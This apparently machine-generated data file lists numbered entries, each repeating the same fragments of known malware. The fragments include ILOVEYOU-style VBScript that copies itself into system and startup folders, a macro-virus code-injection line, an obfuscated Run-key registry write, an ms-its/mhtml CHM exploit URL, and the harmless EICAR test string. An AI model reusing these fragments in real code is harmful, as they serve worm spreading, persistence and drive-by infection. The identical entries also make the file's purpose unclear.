 End Sub

520

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

521

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

522

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

523

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

524

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

525

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

526

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

527

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

528

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

529

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

530

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

531

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

532

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

533

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

534

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

535

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

536

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

537

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

538

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

539

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

540

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

541

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

542

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

543

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

544

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

545

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

546

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

547

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
